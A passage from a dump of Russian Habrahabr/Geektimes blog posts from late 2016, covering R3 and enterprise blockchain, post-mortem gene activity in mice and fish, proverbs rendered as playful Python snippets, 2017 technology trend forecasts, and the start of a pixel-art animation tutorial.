обучение станет таким же безупречным и индивидуальным, как это было показано в фильме “Она” . Сегодня игры далеки от этого, но, если верить создателю Alien Child, Дэвиду О’Рейли , перед нами открывается целый новый мир, в котором игроки смогут вести беседу и строить более естественные отношения с ИИ. Машины еще дадут фору человеческому интеллекту, говорит Дюбей. “Теперь это не просто теория. На практике, машины порой показывают гораздо более точные результаты, чем лучшие из людей” . На этой радостной ноте поздравляем всех с наступающим Новым Годом, посмотрим что нового в сфере ии новый год нам принесет. Ну а мы надеемся еще порадовать вас интересными переводами в новом году. Подписывайтесь на блог. А также в начале 2017 года можем встретиться с вами лично на наших открытых мероприятиях: дне открытых дверей по образовательным программам игровой индустрии 25 января и на нашей конференции по созданию игр 11 февраля. Вход везде бесплатный, только по регистрации. Не забудьте ее пройти. Если у вас есть вопросы, пишите их в комментариях, буду рад обсудить.
https://habrahabr.ru/company/miip/blog/318648/
habrahabr
Большие бизнесы и блокчейн
['Блокчейн', 'Биткойн', 'R3', 'технологии', 'банки', 'корпорации', 'финансы', 'Waves']
Еще совсем недавно консорциум R3 был похож на Ника Маршала — героя Мэла Гибсона из фильма «Чего хотят женщины». Он был альфа-самцом блокчейн-мира, подарком Уолл-Стрит для сферы технологии...
Еще совсем недавно консорциум R3 был похож на Ника Маршала — героя Мэла Гибсона из фильма « Чего хотят женщины ». Он был альфа-самцом блокчейн-мира, подарком Уолл-Стрит для сферы технологии распределенных реестров. Компания излучала уверенность, будучи способной в равной степени соблазнить как технических спецов, так и представителей финансовой отрасли. Казалось, что весь мир был одной сплошной золотой жилой, лежащей у ее ног. А после прозвучал тревожный звоночек, а вместе с ним и осознание того, что не все, оказывается, шло так гладко, как казалось. Решения нескольких крупных банков покинуть R3 ни в коем случае не следует рассматривать, как некое страшное предзнаменование для консорциума, однако это событие все же возвращает нас к извечной загадке: что бизнесу действительно нужно от поставщиков блокчейн-решений? Банки бегут Консорциум, состоящий примерно из 70 крупных игроков банковского сектора — большая штука. В таких организациях находят свое воплощение огромный талант и влияние. Блокчейн может много чего предложить для финансового мира и миссия R3 заключалась в том, чтобы сдержать данные им обещания. В конце ноября ряд крупных банков вышел из R3. В результате эксперты начали ставить под сомнение способность компании предоставить за все это время хоть сколько-нибудь ценные результаты. По слухам, на данный момент покинуть консорциум хотят в общей сложности 7 банков. Флагманский проект R3 под названием Corda — «спроектированная с нуля платформа распределенных реестров, предназначенная для записи, управления и синхронизации финансовых соглашений между регулируемыми финансовыми учреждениями» и находящийся на стадии подтверждения концепции KYC реестр, очевидно, не соответствуют ожиданиям партнеров по организации. Кристоф Бергманн с профильного новостного портала BTCManager сделал по этому поводу такое заключение: «Как Corda, так и KYC-блокчейн могут быть актуальными решениями для задач банковской отрасли. Однако, как показал последний отток банков из организации, ни один из проектов R3, судя по всему, не произвел впечатления той большой штуки, которую все так ждали. Может быть, тройка [вышедших из состава на тот момент] банков только что осознала, что реальные инновации редко могут процветать в отгороженном от остального мира сообществе консорциума авторитетных учреждений». И хотя мы не знаем, что происходит за закрытыми дверями, можно сказать наверняка, что если R3 не окажется в самой гуще назревающей битвы за душу блокчейн, то этот факт сам по себе уже будет показателем той ценности, которую он предлагает. Консорциум с самого начала был магнитом для финансирования и высокопрофессиональных кадров. Ему, в частности, удалось привлечь лучших представителей команды Биткойн — Иэна Григга и бывшего биткойн-разработчика Майка Херна, ранее в этом году громогласно объявившего о своем уходе из Биткой и назвавшего его провальным, перед тем, как приступить к своей новой работе. Теперь же, судя по всему, грядет пересмотр ценностей. Ушедшие из R3 банки уже работают над собственными блокчейн-проектами, что в очередной раз свидетельствует о том, что блокчейн нисколько не выходил из моды. То есть дело здесь в том, что R3 был не в состоянии предоставить им в точности те результаты, которых они ожидали, в плане бизнеса или технологий. Или же дело в том, что банки увидели, что они и сами в скором времени могут потерять былую значимость и теперь пытаются получить свой кусок блокчейн-пирога. Сложность и эффективность Биткойн, будучи первым случаем применения блокчейна на практике, существует вот уже 8 лет. В нем есть нечто совершенно новое, замечательное: форма денег, работающая за пределами существующих структур финансовой власти, то есть банков и правительств. Ну или, вернее, это нечто почти новое: у нас есть все основания говорить, что Биткойн больше похож на самые ранние формы денег , ходившие в обороте еще до появления чеканки, нежели на то, что мы сегодня считаем деньгами — связанные с банками, основанные на долге электронные наличные. Но для нас он в любом случае кажется чем-то новым, поскольку деньги находятся под контролем банков и правительств вот уже 2500 лет. Конечно, следует отдавать себе отчет в том, что изнутри блокчейны устроены очень сложно. Но если же говорить о том, на что Биткойн способен с точки зрения внешнего наблюдателя, то здесь он сразу же превращается в простую и открытую платформу: всякий желающий может воспользоваться его сетью для прямой передачи средств с одного адреса на другой. Биткойн предлагает передачу наличных , так же, как если бы вы отдавали их лично из рук в руки, с той лишь разницей, что происходит это в сети. Никто другой в этом процессе не участвует. Вы никому ничего не обязаны. Вам не нужно привлекать кого-то еще. Нет потребности и во взаимном доверии. Вам нужно только скачать биткойн-клиент, или зайти на веб-кошелек вроде blockchain.info и сделать перевод. Это быстрый, малозатратный и ничем не ограниченный способ перемещения денег . С точки зрения эффективности, существует огромная разница между ним и унаследованными банковскими системами, работающими на базе устаревшей инфраструктуры и облагающими вас ненужными затратами и усложнениями почти на каждом этапе проведения операций. В эпоху нулевых или даже отрицательных процентных ставок, экономической стагнации и усиливающегося регулирования, эффективная экономия становится все более и более привлекательной. Банки быстро увидели преимущества технологии блокчейн и стараются как можно скорее приступить к работе с ним. И это одна из первых причин, которая привела к текущим проблемам R3. Рост R3 с 9 начальных членов в сентябре 2015 года до более чем 70 банков в настоящий момент был беспрецедентно быстрым для банковской сферы. И речь здесь идет не о филиалах, а о целых организациях. Быстрый и динамичный успех R3, вероятно, оказался его единственной проблемой. Банки не хотят в точности воспроизводить Биткойн. Они хотят собственную версию Биткойн. Биткойн работает по принципу «каждый сам отвечает за то, как он обращается со своими деньгами» и это пугает многие агентства. То есть в этом процессе нет никого, кто стоял бы во главе, и вам больше не нужно полагаться на посредников, доверенных лиц, банки или третьих лиц, чтобы совершать переводы личных средств. Неудивительно, что банкам не нравится эта идея. Они хотят сохранить наиболее продуктивные черты блокчейн, в то же время вводя новые характеристики, обходящие невыгодные для них элементы новой технологии. Биткойн — открытый или, иначе говоря, неконтролируемый блокчейн. Поэтому разработка управляющих слоев поверх открытой системы, позволяющих банкам вмешиваться в ее работу — ключевая идея для заинтересованных представителей банковского сектора. Такие закрытые блокчейны могут быть похожими на своих неконтролируемых предшественников, однако на деле они отличаются как в плане ценностей, так и в плане технологий. Добавляя привратника (банк), вы, без всякой надобности, добавляете и врата. Прежде всего введение элементов контроля над «чейнами» неизбежно приводит и к повышению рисков безопасности. Даже не рассматривая технологическую сторону вопроса, можно сказать, что одновременное участие 70 крупных игроков банковского сектора больше похоже на огромную свору вожаков стаи, набросившихся на одну кость. Ирония заключается в том, что попытки одомашнить технологию блокчейн ради получения ее эффективности , похоже, заканчиваются введением ненужных усложнений и неэффективных элементов, как на технологическом, так и на организационном уровне. В интервью The Register , Гэррик Хайлмен из Центра альтернативных финансов при Кембриджском университете предположил, что «несмотря на то, что собрание множества крупных банков под эгидой R3 выглядело впечатляюще, столь большое количество членов неизбежно ведет к организационным трудностям. Не остался незамеченным и тот факт, что в разработке тестовых концепции R3 принимал участие очень ограниченный круг компаний». Поэтому некоторые из более ранних членов решили покинуть корабль в условиях раздувающегося как шар консорциума. Особенно интересен уход Goldman Sachs — одного из крупнейших и наиболее успешных международных инвестиционных банков. «Идея о том, что столь яро соперничающие компании, каждая из которых стремится продвигать собственные интересы, будут сообща и в гармонии работать над технологией, повышающей демократичность и прозрачность, вполне очевидно, выглядит противоречиво». Linux против Windows В каком-то смысле такое развитие событий — отражение проблем, с которыми в последние два года сталкивались все сервисы, работающие на основе Биткойн. Какова модель получения дохода компаний, предлагающих услуги биткойн-кошелька? В условиях, когда, благодаря особенностям Биткойн, отправка электронных денег как таковая становится быстрой и малозатратной, добавление комиссий не даст никаких полезных результатов. Понимание этого факта позволило Биткойн-компаниям быстро эволюционировать. Новая технология требует нового подхода к получению дохода. Как в этом смысле идут дела в «мейнстриме» блокчейн-сектора? В определенном смысле изменилось немногое. Все покинувшие R3 организации занялись собственными исследованиями блокчейн (наподобие того, что делают банки), с той лишь разницей, что теперь они будут делать это самостоятельно. И даже несмотря на то, что R3 придется немного уменьшить размеры своего финансирования, у консорциума, за плечами которого стоит вся мощь десятков финансовых гигантов, все будет в порядке ведь в этой организации, похоже, собрались некоторые из самых светлых умов мира блокчейн. Однако для бизнеса это будет хорошим уроком, а для открытых блокчейн платформ старой школы — возможностью. По ряду причин (в частности, медленная скорость разработки и репутация) Биткойн, вероятно, не впишется в формат грядущей волны дальнейшего распространения блокчейн. Но кроме него, существует и множество других блокчейн-платформ и организаций, быстро продвигающихся в деле разработки открытых протоколов и предлагающих необходимую большинству бизнесов функциональность. Лучшие из этих платформ понимают не только потребности бизнеса, но и природу технологий, с которыми работают, и в особенности тот факт, что введение ненужных усложнений — идея плохая как в техническом, так и организационном смысле. Многие компании располагают существенными финансовыми ресурсами. R3 планирует получить от своих членов 150 миллионов долларов. Блокчейн платформы, такие как Ethereum (умные контракты) и Waves (блокчейн-платформа для создания собственных токенов) привлекли с помощью краудфандинга более 15 миллионов долларов, что нельзя считать таким уж чумовым подвигом на фоне достижений некоторых других стартапов, которым удается получить семизначные суммы. Это небольшие, начинающие организации, которым не нужно нести ответственность перед корпоративными акционерами и которые умеют работать в условиях ограниченного бюджета. (Среднемесячные расходы Waves, например, составляют менее 100 тысяч долларов в месяц). Такие платформы предлагают эффективность на всех уровнях деятельности: на уровне того, что они предлагают своим пользователям, в плане подхода к разработке и в плане организации рабочего процесса. В этом отношении они олицетворяют базовые ценности блокчейн. Такое отношение, однако, далеко не всегда хорошо сочетается с общепринятым подходом к ведению бизнеса. Чтобы понять вызовы, с которыми сталкиваются традиционные финансовые бизнесы, может быть полезна аналогия с Linux. Это открытая операционная система, разработанная бесплатно пользователями и энтузиастами со всего мира. Следует, однако, подчеркнуть, что Linux — это не хобби-проект . В сегменте личного домашнего использования его доля не превышает двух процентов, но когда речь заходит о коммерческих приложениях, то здесь он используется как основа для огромного количества коммерческих приложений, в том числе и в программном обеспечении для POS-терминалов и операционной системы Android. В случае с серверами и встроенными системами, такими, как маршрутизаторы, смартфоны, видеорегистраторы и аналогичные устройства, а также промышленными комплексами эта операционная система правит бал. Linux добавляет невероятную ценность миру бизнеса, не продаваясь при этом так, как продается или лицензируется Windows. Linux во многом похож на открытый блокчейн-проект. Бизнесы могут взять его и разработать на его основе собственные приложения. Такова природа ПО с открытым исходным кодом. А вот получение с него прямой прибыли — дело другое. Не то чтобы это было невозможно, но это уж точно задача не из простых. На самом деле одна из самых сильных сторон Linux заключается как раз в его открытой природе, позволяющей создавать малозатратную и безопасную платформу, доступную для всех желающих. Хорошо известно, что Linux был изначально спроектирован как более безопасная система, в том числе и на уровне пользовательской культуры. Каждый желающий может увидеть его кодовую базу, в результате чего ее недостатки обнаруживаются и исправляются благодаря усилиям тысяч пользователей и разработчиков по всему миру в противовес небольшой группе разработчиков, работающих над закрытой кодовой базой по собственному расписанию — подход Windows, иначе кратко сформулированный как «Безопасность через неясность». Так вот блокчейн выбирает открытый подход. Открытые платформы, в том числе и Биткойн, подвергаются суровым тестам со стороны пользователей, прежде чем будет выпущен новый релиз. Иногда выставление на всеобщее обозрение лучше всего помогает устранить наболевшие проблемы. Крупнейшие финансовые корпорации, конечно же, продолжат развивать собственные блокчейн-решения и их подходы будут постепенно выходить на новые уровни. Но параллельно с этим новые возможности будут возникать и у открытых блокчейн-платформ, доступных всем желающим для практического применения и аудита. И прежде всего такими пользователям станут бизнесы, то есть рядовые представители реального сектора экономики, а не все те же финансовые гиганты, ранее всегда устанавливавшие правила игры. Финансовые гиганты только начали осваивать блокчейн и осознавать ту пользу, которую он может принести (и которую они смогут положить себе в карман, если им удастся его контролировать). Что же в итоге предпочтут большие «шишки» — Windows или Linux?
https://geektimes.ru/company/waves/blog/282350/
habrahabr
Бесконечная история: гены, которые работают после смерти
['гены', 'смерть', 'транскриптом', 'жизнь', 'будущее наступило', 'трансплантация']
Накануне светлого праздника, свободного от идеологии, религии и культа личностей, принято вспоминать о чудесах и рассказывать невероятные истории. Новогодние истории — не обязательно про торжество...
Накануне светлого праздника, свободного от идеологии, религии и культа личностей, принято вспоминать о чудесах и рассказывать невероятные истории. Новогодние истории — не обязательно про торжество справедливости, не про битву добра и зла. Они очень светлые и рассказывают о чудесах, которые случаются в повседневной жизни с самыми обычными существами. Вот и мы для вас подготовили новогоднюю сказку о… генах. Самые обычные существа в лаборатории — мыши и рыбки данио-рерио. Первым даже был поставлен памятник за их честную службу людям, а вторые, хоть и без памятника, безмолвно жертвуют своих крупных прозрачных эмбрионов ученым, чтобы те могли исследовать общие законы развития позвоночных. Ученые из Европы и Соединенных Штатов Америки попытались выяснить , что происходит с мышками и рыбками после смерти. Как-то раз в лаборатории калибровали метод измерения активности генов в трупиках животных, и вот что из этого получилось. Наказание или спасение Внезапность, нелогичность, непредсказуемость, – во все времена вокруг смерти витает ореол таинственности. Чтобы найти источник вечной жизни, великие мистификаторы изобретали философский камень, пытались заполучить кольца всевластия и даже отправлялись в путешествия в поисках единорогов и Бессмертных земель. Простой народ видел в кончине как расплату за грехи, так и дар или искупление. Если же говорить объективно, то смерть — это прекращение в организме всех биологических и физиологических процессов. В силу мистического образа смерти, установление факта гибели долгое время оставалось для человечества сложной задачей (например, если пациент находится без сознания или пребывает в состоянии алкогольного или наркотического опьянения). Смерть по алгоритму Есть два вида смерти: естественная и насильственная. «Выключение» организма в обоих случаях проходит по стандартному алгоритму, но длительность стадий бывает разной. Это относится и к результату: при вовремя проведенной реанимации человек может остаться в живых. Перед смертью организм – тут можно говорить как о человеке, так и о любом другом теплокровном позвоночном животном – пребывает в агонии. Сначала очень сильно снижается давление, нарушается дыхание, притупляется чувствительность и реакция на происходящее, а затем наступает агония. На этой стадии, напротив, все процессы активируются, это — «последняя надежда» на спасение своими силами. Давление увеличивается, мышцы начинают сокращаться, запускается метаболизм. При этом сознание может ненадолго вернуться, но дыхание, вентиляция легких, отсутствует, потому что сокращение мышц не скоординировано. Как только сердце, дыхательная система и центральная нервная система отказывают, диагностируют клиническую смерть. Смерть в твоей голове Опасения, что вас заживо заколотят в гробу или начнут вырезать органы перед тем, как вы испустите последний вздох, в настоящее время уже не очень актуальны. Существует общий критерий диагностики смерти — смерть мозга. Отсутствие рефлексов, двигательной и дыхательной активности свидетельствует в пользу окончательного ухода из жизни. Со смертью мозга в самом органе вскоре начинаются необратимые изменения, которые ведут к деградации. Увы, мирового стандарта диагностики смерти мозга пока не существует, поэтому тот факт, что в разных государствах критерии и методы данной процедуры различаются , безусловно, настораживает. Не подменять реальность метафорой Логичным продолжением известной метафоры, представляющей живой организм в виде машины со сложнейшим механизмом, будет предположение о том, что после смерти постепенно угасает работа всего: не поступает «топливо» (кислород и питательные вещества), замедляется метаболизм и постепенно все «двигатели» прекращают свою работу. Однако в биологии важно не подменять реальность красивой метафорой или удобной моделью. Именно поэтому коллаборация ученых под руководством микробиолога Питера Ноубла при рабочей гипотезе: «Вероятно, гены перестают работать после смерти» решила поставить эксперимент, чтобы проверить, что случается с генами на самом деле. Ведь, исследуя смерть, можно довольно много узнать о жизни! Гены на галерах «Ген работает» — статус участка ДНК, с которого считывается информация с помощью различных клеточных машин. При этом образуются молекулы, которые называются общим словом «транскрипты». Транскрипто́м — это совокупность всех транскриптов, которые присутствуют в образце. В настоящее время одним из основных способов измерения активности генов является анализ транскрипто́мов различных тканей. В отличие от генома, который стабилен и одинаков во всех клетках организма, транскрипто́м может значительно меняться в зависимости от условий среды, состояния клетки и ее происхождения. Жизнь после смерти в лаборатории Чтобы изучить смерть эмпирически, нужно убивать животных. Такие работы требуют предварительного прохождения множества специальных комиссий по биоэтике. Сам эксперимент команды Питера Ноубла заключался в следующем: животных единовременно убили, а затем поместили в привычную для жизни среду. При этом как в аквариуме, так и на воздухе сохранялась циркуляция воды или воздуха. Чтобы в дальнейшем проводить исследование на образцах, с определенной периодичностью брали несколько трупов и замораживали их в жидком азоте. Такой сбор «проб» проводился в течение 48 часов с момента смерти мышей и 96 часов с момента смерти рыбок. В результате анализа так называемого танатотранскриптома (от греческого «танатос» — смерть) удалось анотировать 1063 гена. Активность большинства из них после смерти резко снижается, однако какие-то из участков ДНК ничего не знают о смерти и продолжают работать. Некоторые из рассмотренных генов оставались активны в течение 4 суток после смерти животного. Посмертные итоги Исследователи подчеркивают: их данные демонстрируют не «остаточную активность», а самостоятельную работу генов после смерти животного. В подтверждение этому они приводят данные количественного анализа транскриптов. Изменение объема молекул в тканях происходит по-разному. В результате качественного анализа была получена функциональная характеристика отдельных групп генов, которые работают в клетках мертвого организма (с точки зрения процессов, в которых они участвуют): стрессовый ответ, внутренний и адаптивный иммунный ответ, воспалительный процесс, клеточная смерть, транспортные и регуляторные процессы, онкогенез, а также эмбриональное развитие. Смерть — это стресс В обоих организмах пик работы этих генов пришелся на сутки после смерти. Исследователи объясняют это как попытку организма восстановить равновесие в отсутствие ресурсов. Речь идет о таких генах стрессового ответа, как гены теплового шока, гипоксии и к других видов реакций, таких, как окислительный стресс. Смерть — это борьба Те, кто верят в жизнь после смерти, догадываются, что тело человека из бренного вместилища для души становится прелым чистилищем для разных живых организмов. Бактерии, черви, а затем членистоногие, возможно, и звери покрупнее, – в общем, все, кто не брезгует, станет той жизнью, которая наполнит тело крупного млекопитающего после смерти. В таком случае довольно логичным выглядит тот факт, что после смерти активизируются гены иммунного ответа. Несмотря на то, что империя тела человека уже мертва, отдельные клетки продолжают свое существование и пускают молекулярные машины в бой, активируя гены иммунного ответа и воспаления. Смерть — это когда клетки умирают В клетке существует отлаженная система запуска собственной «машины смерти». Это требуется в тех случаях, когда становится понятно, что «что-то пошло не так». Начавшись с экспрессии (генерации транскрипта) одного из генов, запускается каскад работы белков, который приводит к клеточной смерти. Процесс запрограммированной клеточной смерти называется апоптозом. Установить какие-то общие закономерности работы апоптотических генов в обоих видах организмов не удалось, но было замечено, что и в том, и в другом они активно работают. Смерть — это суета Казалось бы, зачем в отсутствие функционирующего организма понадобится перемещать ионы, белки или сигнальные молекулы из клетки в клетку? Зачем «сворачивать» участки ДНК? Согласно наблюдениям, большинство таких генов в трупах рыб прекратили свою работу через 24 часа после смерти, в то время, как транспортные гены трупов мышей продолжали работать на протяжении 2 суток. Смерть — это онкогенез В мировых генетических базах данных существуют гены, которые котируются как «онкогены». Такой «ярлык» они получают, если было замечено, что при их работе развиваются злокачественные новообразования. Состав этих генов и особенности работы сильно различаются в организмах. Смерть — это только начало Пожалуй, самая неожиданная находка в этом эксперименте — работа генов, которые отвечают за ранние стадии эмбрионального развития. Удивительно, но после смерти включаются гены, которые работали в тот момент, когда мертвое тело было оплодотворенной икринкой или яйцеклеткой и только-только создавало мышцы или нервную систему. Ученые признаются в статье, что очень удивлены обнаружением этих генов, и предлагают две версии объяснения происходящего. С одной стороны, поддержание «молчания» этих генов может быть активным процессом, который прекращается со смертью генеральных регуляторных систем. С другой – физиологические условия мертвого организма, могут отдаленно напоминать те, при которых протекает эмбриональное развитие. Помимо игр ученых мужей и планов о бессмертии в скором будущем, есть два серьезных вопроса, решение которых напрямую связано с подобными исследованиями. В первую очередь, это трансплантация органов от недавно умерших доноров. Известно, что риск онкологического заболевания возрастает с трансплантацией органов. Наиболее частым примером является рак кожи (возможно, онкогенез происходит именно вследствие работы онкогенов в мертвой ткани). С другой стороны, при последующем анализе можно создать метод точного определения времени смерти на основании состава танатотранскриптома. Так вот, дорогой друг, оказалось, что даже в обычных мышке и рыбке уже после смерти работает больше тысячи генов. Это ли не чудо? (Это ли не мотивация?) Спасибо всем, кто читал нас и был с нами в этом году. А мы подготовили ДНК-тест «под ёлочку». Совсем как в лучшие времена нашей жизни: вы рассказываете короткий интересный факт про гены или генетику (впрочем, не обязательно в текстовом формате), а в подарок получаете ДНК-тест. Подробные правила — по ссылке .
https://geektimes.ru/company/genotek/blog/284178/
habrahabr
Как запрограммировать пословицу?
['#пословицы', '#python']
Пожалуй, можно описать с помощью программного кода почти все, что нас окружает. И хорошо, что почти, это позволяет нам не погружаться полностью в матрицу. Да, еще довольно трудно запрограммировать...
Пожалуй, можно описать с помощью программного кода почти все, что нас окружает. И хорошо, что почти, это позволяет нам не погружаться полностью в матрицу. Да, еще довольно трудно запрограммировать поведение отдельно взятых политиков, ведь как можно описать то, что не поддается логике? А вот мудрость, как противовес этому — можно. Древнюю мудрость, которую наш народ копил в виде пословиц. Нет смысла упоминать все несколько тысяч, тем более есть повторяющиеся среди них. А вот самые известные хочу представить вниманию читателей хабра. В качестве языка взят змеиный, поскольку единственно мне знаком. Первая: def wolf_sight_direction(food_amount): wolf_attraction_chance = 0 * food_amount if wolf_attraction_chance == 0 and food_amount == 0: print "No food. Wolf looks towards the forest" else: print food_amount, "food given. Wolf still looks towards the forest" for food_amount in range(42): wolf_sight_direction(food_amount) food_amount += 1 Здесь можно поэкспериментировать с количеством еды, но результат будет неизменен. Вторая чуть посложнее: def in_at(): forehead = True spelt = True return forehead and spelt print in_at() Возвращает True, подтверждая правильность утверждения. Третья чуть попроще: def wisdom(hair): return 42 - len(hair) print wisdom("Very long and curly blond haired specimen") print wisdom("Vasserman") Предпоследняя: class War: def __init__(self): self.definition = "KillThemAll" class Happiness: pass class Kitten: pass class Beauty: pass class WarChild(War): pass print issubclass(Happiness, War) print issubclass(Kitten, War) print issubclass(Beauty, War) print issubclass(WarChild, War) Кошкам ведь нужен дом. И чтобы жить дружно, как с Леопольдом. И последняя: import time timestamp = int(time.time()) if timestamp > 1488326399: pants = 2 else: pants = 1 print pants Надеюсь, смогли разгадать все или даже придумать свои. С пятницей!
https://habrahabr.ru/post/318680/
habrahabr
Тренды-2017
['тренды 2017', 'тренды', 'финансы', 'путешествия', 'интернет вещей', 'здравоохранение', 'телекоммуникации', 'музыкальный бизнес']
Развитие технологий искусственного интеллекта, Big Data и виртуальной реальности, а также новые угрозы кибербезопасности приведут к глобальным изменениям во всех сферах. При этом несмотря на...
Развитие технологий искусственного интеллекта, Big Data и виртуальной реальности, а также новые угрозы кибербезопасности приведут к глобальным изменениям во всех сферах. При этом несмотря на политические события уходящего года, включая «брексит», 2017-й станет годом интеграции существующих технологий. Мы расспросили лидеров индустриальных практик DataArt о том, какие тенденции они ожидают увидеть в следующем году в финансах, туризме, здравоохранении, телекоммуникациях и медиа. Общие тенденции Интеграция вместо создания нового В 2017-м настоящим двигателем прогресса станут технологические корпорации, которые потеснят классных ребят из Кремниевой долины. В центре внимания окажется интеграция уже существующих технологий, которые еще предстоит научиться применять для решения наших с вами реальных проблем. IoT и Big Data IoT становятся большим бизнесом В 2017-м Big Data и «интернет вещей» из модных слов превратятся в распростненные инструменты и станут частью повседневного обихода на работе и дома. Отделы маркетинга обретут в Iot и Big Data свой Святой Грааль. Тренды в индустриях Финансовые сервисы и рынки каптила • Кибербезопасность и защита данных станут основной заботой, в том числе, и на уровне советов директоров. В финансовых организациях понимают, что неспособность защитить информацию о своих клиентах — главный источник репутационных рисков, не говоря о необходимости соответствовать требованиям регуляторов. Организации серьезно вложатся в устранение уязвимостей, отладку процессов и повышение культуры обращения с информацией. В результате на первое место выйдет Data management во всех возможных формах. • Немедленная дигитализация обслуживания клиентов станет для компаний финансового сектора вопросом выживания. Благодаря электронной коммерции и финтеху, ожидания пользователей в отношении UX уже взлетели до небес. При этом они продолжат создавать все больше альтернатив традиционным финансовым сервисам. • Автоматизация бизнес-процессов (BPM) , в том числе, с использованием систем машинного обучения, станет главным источником конкурентных преимуществ и повышения производительности. Финансовая индустрия по-прежнему отстает от многих других в отношении реальной автоматизации, но процесс продолжится. • Использование облачных технологий превратится в необходимый элемент инфраструктуры финансовых организаций. За счет него можно разрешить многие проблемы, обычные для легаси, кроме того, оно позволяет максимально снизить операционные риски. Те, кто будет игнорировать cloud computing, просто перестанут проходить проверки. Путешествия Возвращение любви агентств и гостиничных сетей, искусственный интеллект и удаленные консьерж-службы серьезно изменят индустрию путешествий. • Гостиницы и онлайн тревел-агентства переживут новый взрыв чувств друг к другу. Несмотря на крупные приобретения, сделанные рядом гостиничных сетей, они, как и оставшиеся на рынке онлайн-агентства, будут ощущать сильное давление со стороны новых игроков, включая Google, Airbnb и Facebook. В результате давние соперники помирятся перед лицом новым общих соперников. • Искусственный интеллект только начинает свой путь в туриндустрии. В 2017-м крупные игроки продолжат покупать небольшие стартапы, но реальных дивидендов от умных ботов еще придется подождать. Развитие ИИ требует времени, данных и знаний, которые еще придется копить в процессе работы. Поэтому, возможно, первыми выгоду из проектов с использованием искусственного интеллекта здесь смогут извлечь не те, кто первым начнет их развивать. • Тревел-консультанты , вооруженные связями и бесценными знаниями, продолжат использовать высокие технологии, повышая доступность своих сервисов. Это сделает работу с тревел-агентами настоящим удовольствием. Но только при условии высокого профессионализма последних. Телекоммуникации Облачные технологии, программно-конфигуриремые сети (SDN) и 5G приведут к существенной трансформации процесса оказания услуг. • Продолжится распространение инновационных Over-The-Top мобильных приложений, предназначенных для делового и личного общения. Этому способствует WebRTC, технология, которая позволяет обмениваться информацией в реальном времени, используя облачные контакт-центры, с помощью самых разных устройств. • Виртуализация сетевых функций и программно-конфигурируемые сети запустят изменения в телекоммуникационном бизнесе в целом. Они позволят быстрее выпускать и поддерживать новые сервисы, предоставив пользователям более широкий выбор контента и приложений. • В 2017-м дозреет 5G , индустрия выйдет на новый уровень возможностей, что приведет к появлению целых новых классов сервисов. С этим будут связаны значительные изменения в области разработки для мобильных устройств. IoT в телекоме существенно вырастет, а распространение технологии Mobile Edge Computing (MEC) продолжится. Здравоохранение На развитие индустрии очень сильно повлияет новая администрация США, особенно с учетом того, что избранный президент и республиканский конгресс намерены пересмотреть или отменить «Obamacare». • Новые правила приведут к обновлению действующих систем, но они так же могут дать создателям технологий в сфере здравоохранения возможность внедрять инновации там, где ранее этого не предполагалось. • 2017-й станет годом медицинских стартапов . Новые прорывные технологии подтолкнут индустрию вперед — в перспективе технологии виртуальной и дополненной реальности в здравоохранении станут настолько привычными, что грань между реальным и виртуальным окажется размытой. • В 2017-м в здравоохранении начнут появляться и настоящие DIY -проекты, нерегулируемые инновации выйдут на новый уровень. Формальные процессы в медицине отнимают слишком много времени и денег, а возможные риски здесь всегда расценивают как крайне высокие. При этом люди разрабатывают собственные проекты, представляющие ценность, которая не подтверждена клиническими исследованиями в нынешнем понимании. Приведет ли нас этот тренд к будущему прогрессу в здравоохранении и не окажется ли путь слишком скользким и опасным, покажет только время. • На первом месте окажется интеграция . Такие системы, как например, электронные медкарты ( EHR ), сделать интероперабельными сложно. Но требование «существенного использования» (Meaningful Use) электронных медкарт, предполагающее доступ пациента к информации о собственном здоровье через API, даст возможность многим относительно небольшим компаниям создавать новые сервисы вокруг открытых API крупных EHR-платформ. В результате они смогут принести пользу всем вовлеченным в индустрию сторонам. IoT 2017-й станет для интернета вещей годом дезинтеграции и распространения среди всех прочих индустрий. Технология меняет рынки, а бизнес-модели адаптируются к изменениям, вынуждая компании быть более гибкими и охотнее внедрять новейшие решения. Облачные решения и машинное обучение — очевидные ответы на вызовы процесса трансформации. В этом году повысился спрос на использование этих технологий в области сбора и управления данными, оптимизации, автоматизации и снижения операционных расходов, профилактического обслуживания, аналитики и прогнозирования. Media and Entertainment Как и в других областях, в мировой музыкальной индустрии больше внимания будет уделяться технологии блокчейн. Наряду с этим продолжится повышение персонализции сервисов, шире будут использоваться технологии виртуальной и дополенной реальности. Алгоритмическая закупка рекламы будет все шире охватывать рынок, а борьба между различными стриминговыми платформами продолжится.
https://geektimes.ru/company/dataart/blog/284180/
habrahabr
«Галоп пикселя — часть четвертая» — Анимация света и тени
['pixelart', 'pixel-art', 'pixel', 'art', 'gamedev', 'indiedev', 'gamedevelopment', 'weilard', 'tutorial', 'sample', 'example', 'animation', 'lesson']
«Галоп пикселя» — часть 1 (линк) «Галоп пикселя» — часть 2 (линк) «Галоп пикселя» — часть 3 (линк) «Галоп пикселя» — часть 4 (линк) Доброго времени суток Хабру и ценителям пиксель-арта,...
«Галоп пикселя» — часть 1 ( линк ) «Галоп пикселя» — часть 2 ( линк ) «Галоп пикселя» — часть 3 ( линк ) «Галоп пикселя» — часть 4 ( линк ) Доброго времени суток Хабру и ценителям пиксель-арта, поклонникам квадратных точек, адептам лимитированных разрешений и цветов. Рад представить на ваш суд очередную статью из цикла «Галоп Пикселя». Не буду тратить время на оправдания моего долгого отсутствия и в виду явного присутствия перейду к сути дела. Сегодня мы продолжим изучать анимацию. На этот раз это будет анимация света и тени. Большей частью на статических объектах. Всё помнят – сначала база. Сначала фундамент. Сначала простое. Ну а сложное ввалится в ваши двери само, вслед за детишками. В этой статье мы рассмотрим анимацию света плоскостями, когда мы анимируем свет крупными заливками и лишь затем начинаем его детализировать. Анимацию света по контуру объекта, и поведение света на разных поверхностях, иначе на объектах с разными материалами. Три главы. Три пули. Надеюсь, что в цель. Цель этой статьи показать насколько силён дуэт брата и сестры, Света и Тени в движении. Мы уже видели, как они преображают сцены в статике. Но динамика нам ещё не знакома. Давайте исправим это упущение. Лопаты в руки. С чего начать? Разумеется с силуэта. Определить форму объекта и сделать её максимально выразительной так чтобы силуэт даже сам по себе, без света и тени был самодостаточным, заявлял о себе как о полноправном участнике любой сцены. По сути, так оно и есть. Силуэтные решения появились довольно давно. Примерно в то время когда далекие предки наших отцов и дедов и думать не думали, что матушка-Земля и живущие на ней потомки доведут многострадальную планету до вселенских размеров бардака. После того пути, что мы уже прошли я считаю вас вполне подготовленными, чтобы перейти сразу в бой, не тратя времени на теорию и лукавые мудрствования. Сегодня мы не будем застревать в 